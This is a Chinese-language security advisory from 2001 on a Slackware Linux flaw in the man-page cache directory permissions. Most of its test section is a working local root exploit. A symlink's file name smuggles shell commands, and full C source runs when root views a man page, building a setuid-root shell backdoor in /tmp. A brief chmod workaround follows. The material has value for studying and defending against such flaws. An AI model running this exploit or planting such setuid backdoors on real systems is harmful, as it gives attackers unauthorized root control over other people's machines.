Slackware man手册缓冲目录权限设置缺陷
发布日期:2001-07-17
更新日期:2001-07-25
受影响系统:
Slackware Linux 8.0
Slackware Linux 7.1
Slackware Linux 7.0
描述:
BUGTRAQ ID: 3054
Slackware Linux 存在一个权限设置错误,允许本地用户在系统man手册缓冲目录里
创建文件。攻击者可能创建一个恶意的man手册缓冲文件,其他用户查看相应man手册
时,夹杂其中的代码得到执行。
<* 来源:(
josh@pulltheplug.org) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
下述测试方法由
josh@pulltheplug.org提供
ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;
export PATH=.;script;man.7.gz" /var/man/cat7/man.7.gz
当root执行"/usr/bin/man man"时,将创建/var/man/cat7/man.7.gz。由于存在前述
符号链接,导致在/usr/man/man7目录下创建一个文件,名为
"/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;
exportPATH=.;script;man.7.gz."
即将被执行的/tmp/script如下:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>
int main()
{
FILE *fil;
mode_t perm = 06711;
if(!getuid()) {
fil = fopen("/tmp/bleh.c","w");
fprintf(fil,"%s\n","#include <unistd.h>");
fprintf(fil,"%s\n","#include <stdio.h>");
fprintf(fil,"%s\n","int main() {");
fprintf(fil,"%s\n","setreuid(0,0);setregid(0,0);");
fprintf(fil,"%s\n","execl(\"/bin/su\",\"su\",NULL);");
fprintf(fil,"%s\n","return 0; }");
fclose(fil);
system("/usr/bin/gcc -o /tmp/bleh /tmp/bleh.c");
unlink("/tmp/bleh.c");
chmod("/tmp/bleh", perm);
}
execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL);
return 0;
}
建议:
临时解决办法:
修改man手册缓冲目录的权限设置,chmod 700 /var/man/cat
厂商补丁:
暂无
浏览次数:4812
严重程度:0(网友投票)